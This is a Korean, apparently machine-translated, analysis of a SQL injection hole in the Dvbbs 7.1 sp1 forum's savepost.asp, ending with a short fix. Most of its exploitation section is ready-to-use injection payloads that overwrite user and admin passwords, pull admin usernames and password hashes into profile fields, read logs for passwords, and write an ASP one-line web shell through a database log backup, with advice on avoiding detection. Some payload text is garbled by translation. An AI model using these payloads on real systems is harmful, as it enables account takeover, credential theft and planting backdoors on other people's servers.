Dvbbs 7.1 sp1 SQL 버 전 savepost.asp 주입 구멍 분석,이용 및 예방

개술    구멍 소개:
http://coolersky.com/leak/programme/bbs/2006/0515/515.html     며칠 전부터 Hak 를 들 었 어 요.Ban 은 누군가가 dvbbs 7 의 주입 구멍 을 발표 했다 고 말 했다.볼 시간 도 없 었 고 오후 에 Edward 와 링크 를 달라 고 했다.
http://www.eviloctal.com/forum/read.php?tid=22074     본 사이트 에:
http://coolersky.com/articles/hack/analysis/programme/2006/0515/238.html     풍진 낭자 의 분석 을 보 니 이미 분석 한 것 이 매우 명확 하 다 고 생각 했 습 니 다.그러나 사람들 속 에 몇 명의 친구 들 이 잘 모 르 겠 습 니 다.차라리 현지 환경 에서 구멍 을 테스트 해 보 겠 습 니 다.keng 이 프로그램 을 제공 해 주 셔 서 감사합니다. 하하,인터넷 에서 찾 는 것 이 정말 귀 찮 습 니 다.    2.구멍 분석    savepost.asp 프로그램의 문제 라면 파일 을 열 어 보 세 요.풍진 파 도 는 ToolsBuyUser 매개 변수 필터 가 부족 하 다 고 언급 했 으 니 이 변 수 를 보 세 요.    32 줄,정의 변수:
Private GetPostType,ToMoney,UseTools,ToolsBuyUser,GetMoneyType,Tools_UseTools,Tools_LastPostTime,ToolsInfo,ToolsSetting    111 줄 비 워 두 기
ToolsBuyUser = ""    120 줄,인자 GetPost Type 이 0 일 때 값 부여
ToolsBuyUser = "0|||$SendMoney"    123 줄,인자 GetPost Type 이 1 일 때 값 부여
ToolsBuyUser = "0|||$GetMoney"    139 줄,인자 GetPost Type 이 2 일 때 값 부여
ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"    747 줄,sql 정의
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"    745 줄,sql 실행
Dvbbs.Execute(sql)    전체 데 이 터 를 제출 하 는 과정 에서 ToolsBuyUser 매개 변 수 를 안전하게 여과 하지 않 아 sql 주입 에 구멍 이 생 긴 것 을 보 았 습 니 다.    3.구멍 이용    1.등록 사용자 coolersky    2.새로운 주제 발표 선택    3.'게시 물 유형 선택'에서'게시판 거래 게시 물 설정'을 선택      4."구 매 가능 한 사용자 명단 제한:"에 기록
'자신의 사용자 암 호 를 123456 coolersky',0 으로 변경 합 니 다.update dv_user set userpassword='49ba59abbe56e057' where username='coolersky';--    암 호 를 수정 한 후 다시 포럼 에 접속 하고 123456 을 사용 하여 로그 인 에 성공 하면 이 구멍 이 아직 수리 되 지 않 았 음 을 설명 한다.    5.프론트 관리자 의 사용자 이름과 암 호 를 받 아 사용자 정의 프로필 사진 과 서명 에 넣 고 사용자 coolersky 의 기본 자 료 를 보면 볼 수 있 습 니 다.
coolersky',0);update dv_user set userface=(select top 1 username from dv_userclass='관리자'),usersign=(dv 에서 사용자 암호 상위 1 개 선택user where userclass='관리자')where username='coolersky';    6.배경 관리자 의 사용자 이름과 암 호 를 받 습 니 다.
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin),usersign=(select top 1 password from dv_admin) where username='coolersky';--    7.로 그 를 통 해 배경 관리 비밀 번 호 를 확인 합 니 다.
coolersky',0);update dv_user set usersign=(select l_content from dv_log where l_content like '%password2%') where username='coolersky';--    8.데이터베이스 이름 획득
coolersky',0);update dv_user set userface=(select db_name())where username='coolersky';--    9.로그 차이 백업 웹 셸
'dbname 을 이전 단계 에서 얻 은 데이터베이스 이름 으로 바 꾸 고 로그 차이 백업 은 dbowner 권한!'d:\웹\dvbbs 7\를 현재 포럼 의 물리 적 경로 로 대체 합 니 다.어떻게 얻 습 니까?묻 지 마 세 요!coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values ('<%execute request("l")%>');backup log dbname to disk = 'd:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--    혹은
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values (0x273C2565786563757465207265717565737428226C2229253E27);backup log dbname to disk = ''d:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--    최소 asp 목마 클 라 이언 트 로 연결 하면 됩 니 다!    10.관리자 의 암 호 를 직접 수정 합 니 다.    5,6,7 세 단 계 를 통 해 관리자 앞 배경 에 있 는 사용자 이름과 비밀 번 호 를 얻 을 수 있 습 니 다.적어도 비밀 번 호 는 16 비트 md5 입 니 다.우 리 는 인터넷 조회 나 폭력 해 제 를 통 해 관리자 의 암 호 를 받 아 앞 배경 에 로그 인 할 수 있 지만 수출 명령 을 풀 수 없 을 수도 있 습 니 다.    만약 에 포럼 의 물리 적 경 로 를 얻 지 못 한다 면 관리자 의 암 호 를 수정 함으로써 이 루어 질 수 밖 에 없다.물론 관리자 의 암 호 를 바 꾸 지 않 고 수정 을 피 할 수 있다.그렇지 않 으 면 바로 관리자 에 게 침입 당 했다 는 것 을 알 게 될 것 이다.    (1)프론트 데스크 관리자 아 이 디 획득:
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='관리자')where username='test';    (2)프론트 관리자 의 암 호 를 수정 합 니 다.
'만약 에 저희 가 프론트 관리자 의 사용자 이름 을 admin 이 라 고 가정 하고 비밀 번 호 를 123456 coolersky 로 변경 합 니 다',0).update dv_user set userpassword='49ba59abbe56e057' where username='admin';--    (3)배경 관리자 사용자 이름 획득:
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin)where username='test';--    (4)배경 관리자 의 암 호 를 수정 합 니 다.
'만약 에 우리 가 배경 관리자 의 사용자 이름 을 admin 이 라 고 가정 하고 비밀 번 호 를 123456 coolersky 로 수정 합 니 다',0).update dv_admin set password='49ba59abbe56e057' where username='admin';--    (5)프론트 데스크 에 로그 인하 여 mdb 로 구 성 된 asp 한 마디 뒷문 을 업로드 하고 백 엔 드 백 은 asp 또는 asa 파일 로 하면 됩 니 다.본 고 에서 설명 하지 않 은 방법 을 어떻게 조작 하 는 지.    이상 의 조작 을 통 해 서버 가 여러 문 구 를 지원 하면 데이터 베 이 스 를 더 많이 조작 할 수 있 습 니 다.    구멍 수리    1.dvbbs 에서 최신 패 치 다운로드
http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1     2、savepost.asp 파일 을 열 면 747 줄
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"    다음으로 변경:
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&dvbbs.checkstr(ToolsBuyUser)&"',"&GetMoneyType&")"    dvbbs.checkstr 함수 로 ToolsBuyUser 내용 을 걸 러 내 는 것 입 니 다.

좋은 웹페이지 즐겨찾기